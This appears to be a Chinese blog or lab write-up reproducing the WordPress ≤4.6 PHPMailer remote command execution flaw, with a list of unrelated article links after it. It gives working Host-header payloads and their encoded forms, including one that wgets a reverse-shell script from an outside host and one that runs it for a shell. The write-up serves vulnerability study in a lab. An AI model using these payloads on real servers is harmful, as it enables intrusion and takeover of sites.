wordpress<=4.6版本任意命令执行漏洞
漏洞简述
当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。
0x00漏洞影响
- WordPress <= 4.6.0
- PHPMailer < 5.2.18
0x01漏洞原理
主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。
0x02环境搭建
下载vulhub、docker-compose来一键搭建环境,vulhub链接:https://vulhub.org/#/environments/wordpress/pwnscriptum/
0x03漏洞复现
漏洞存在后台登录地方的找回密码页面:http://192.168.1.160/wp-login.php?action=lostpassword
我们输入一个存在的用户,然后点击获取新密码,bp抓post包
请求包的HOST处的参数值即是该漏洞的payload点。
该漏洞利用需要满足以下几点:
1.执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。
2.该命令将转换为小写字母
3.命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是admin
需要注意:
该命令执行只在服务器端默默执行命令,不会显示在客户端响应界面
payload构造:
aa(any -froot@localhost -be ${run{/bin/touch /tmp/.php}} null) //在/tmp下创建一个1.php
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.106.109/bash.sh}} null) //下载反弹命令脚本到/tmp下重命名为shell
aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null) //执行/tmp下的shell脚本
payload转换规则:
.payload中run{}里面所有 / 用 ${substr{}{}{$spool_directory}} 代替
.payload中run{}里面所有 空格 用 ${substr{}{}{$tod_log}} 代替
上面的payload分别转换为:
aa(any -froot@localhost -be ${run{${substr{}{}{$spool_directory}}bin${substr{}{}{$spool_directory}}touch${substr{}{}{$tod_log}}${substr{}{}{$spool_directory}}tmp${substr{}{}{$spool_directory}}.php}} null)
aa(any -froot@localhost -be ${run{${substr{}{}{$spool_directory}}usr${substr{}{}{$spool_directory}}bin${substr{}{}{$spool_directory}}wget${substr{}{}{$tod_log}}--output-document${substr{}{}{$tod_log}}${substr{}{}{$spool_directory}}tmp${substr{}{}{$spool_directory}}shell${substr{}{}{$tod_log}}192.168.106.109${substr{}{}{$spool_directory}}bash.sh}} null)
aa(any -froot@localhost -be ${run{${substr{}{}{$spool_directory}}bin${substr{}{}{$spool_directory}}bash${substr{}{}{$tod_log}}${substr{}{}{$spool_directory}}tmp${substr{}{}{$spool_directory}}shell}} null)
将最终转化的payload分别拿到漏洞点去执行,观察效果
第一个payload在/tmp下新建1.php
在靶机上看看
命令只会默认执行,而不会在客户端显示出来,那么我们就只能采用反弹shell的方式获取到交互式shell来进行最终控制。
利用第二个payload从自己的外网vps上下载事先写好的反弹shell的脚本到靶机上的/tmp目录下,反弹到的目标为vps上。
发包之后查看靶机上的/tmp目录
看到已经成功下载到了靶机上的/tmp目录下,现在只需利用bash来执行这个shell脚本;
利用第三个payload来执行刚刚下载的反弹命令脚本,执行前需要在vps上进行监听指定端口,这里为7777:
burpsuite只要一发包,vps即可反弹上靶机的shell来
这样才达到了真正的利用该漏洞getshell了。
0x04漏洞修复
当然是更新wordpress、phpmailer到最新版本。
wordpress<=4.6版本任意命令执行漏洞的更多相关文章
- wordpress多站点配置
wordpress作为全球第一的个人博客搭建平台一直在国内外有着较高的人气,从3.0版本开始就已经支持多站点的搭建.该功能可以让子站点运行主站点的程序,不需要再每个站点分别存放网站程序.最近更新的4. ...
- wordpress优化之结合prism.js为编辑器自定义按钮转化代码
原文链接 http://ymblog.net/2016/07/24/wordpress-prism/ 继昨天花了一天一夜的时间匆匆写了主题Jiameil3.0之后,心中一直在想着优化加速,体验更好,插 ...
- 搭建个人wordpress博客(小白教程)
新浪sae平台现在是有个免费个人空间使用,现在,教您如何使用该平台搭建属于自己的个人网站,本教程以wordpress程序安装包搭建个人网站. 申请新浪云账号 如果我们使用SAE新浪云计算平台作为服务器 ...
- centos6.3与jexus5.4.4配置支持php(wordpress)
centos6.3与jexus5.4.4配置支持php,并搭建自己的wordpress博客,供那些在Linux平台下想让 php和asp.net一起跑的初学者参考. 1.搭建webserver 首先准 ...
- SAE+WordPress快速搭建个人博客
前些天一时冲动,买了个域名,我想总不能放着不用吧,干脆就搭建了一个个人博客.下面我把搭建的过程分享给大家.注意,此文并不是攻略,只是为了记录下这个从无到有的过程,当然,假如解决了你的疑惑,那当然是极好 ...
- 将WordPress安装在网站子目录的相关问题
May182013 将WordPress安装在网站子目录的相关问题 作者:xieyc 发布:2013-05-18 00:11 字符数:3423 分类:站长 阅读: 12,054 次 ...
- 使用WordPress搭建自己的博客
突然间发现自己在阿里上有一个免费的虚拟云空间,好像是什么时候阿里云搞活动赠送的.看了看还有不少时间,就决定自己搭建一个博客系统.说到搭建自己的博客,第一时间就想到WordPress,这个用起来应该是最 ...
- wordpress插件bug排查后记(记一次由于开启memecached引起的插件bug)
这篇文章是写给自己的. 周三的时候我在维护公司的一个wordpress项目页面时发现了一个非常奇怪的情况:当我尝试更新网站上的一个页面后,在wordpress后台的编辑器中发现其内容并没有按我预期的将 ...
- WordPress + Nginx +PHP+MySQL
Windows下配置Nginx+php环境 1)php的安装与配置. 直接解压下载好的php包,到D盘wnmp目录(D:\wnmp),这里把解压出来的文件夹重命名成php5.进入文件夹修改php.in ...
- docker版wordpress
拉取wordpress镜像 docker pull wordpress:latest 创建mysql 容器docker run --name wordpress-mysql -e MYSQL_ROOT ...
随机推荐
- python学习Day05--字典
[主要内容] 1. dict 用大括号{} 括起来. 内部使用key:value的形式来保存数据 {'jay':'周杰伦', "jj":'林俊杰'} 注意:字典的key必须是可哈希 ...
- 看完这篇文章,再次遇到Jedis「Redis客户端」异常相信你不再怕了!
本文导读: [1] 疫情当前 [2] 应用异常监控 [3] Redis客户端异常分析 [4] Redis客户端问题引导分析 [5] 站在Redis客户端视角分析 [6] 站在Redis服务端视角分析 ...
- 火狐的一个bug
发现这个bug是因为最近眼睛不太好,所以网页大小都是正常大小的140% 就发现火狐游览器好多网页上的输入框与按钮对不齐 测试代码 <!DOCTYPE html> <html lang ...
- QT透明显示文字
实现效果: 代码: #ifndef IMAGINIST_H #define IMAGINIST_H #include <QtWidgets/QWidget> #include <Qt ...
- 【SpringBoot MQ 系列】RabbitMq 核心知识点小结
[MQ 系列]RabbitMq 核心知识点小结 以下内容,部分取材于官方教程,部分来源网络博主的分享,如有兴趣了解更多详细的知识点,可以在本文最后的文章列表中获取原地址 RabbitMQ 是一个基于 ...
- Codeforces_734_D
http://codeforces.com/problemset/problem/734/D 保存最近的八个方向的点,判断即可. #include<iostream> #include&l ...
- 行人重识别和车辆重识别(ReID)中的评测指标——mAP和Rank-k
1.mAP mAP的全称是mean Average Precision,意为平均精度均值(如果按照原来的顺利翻译就是平均均值精度).这个指标是多目标检测和多标签图像分类中长常用的评测指标,因为这类任务 ...
- 《Python学习手册 第五版》 -第9章 元组、文件与其他核心类型
本章的主要内容是介绍了元组和文件的使用,同时作为介绍数据类型的最后一个章节,本章也总结和复习了前面所介绍的核心数据类型,总结的部分在此不多介绍,因为前面章节都有,在此就重点介绍以下两点内容 1.元组 ...
- git命令清单 摘自 阮老师
常用 Git 命令清单 作者: 阮一峰 日期: 2015年12月 9日 我每天使用 Git ,但是很多命令记不住. 一般来说,日常使用只要记住下图6个命令,就可以了.但是熟练使用,恐怕要记住60- ...
- Vue简介与基础
一.什么是Vue.js Vue.js 是目前最火的一个前端框架,React是最流行的一个前端框架(React除了开发网站,还可以开发手机App, Vue语法也是可以用于进行手机App开发的,需要借助于 ...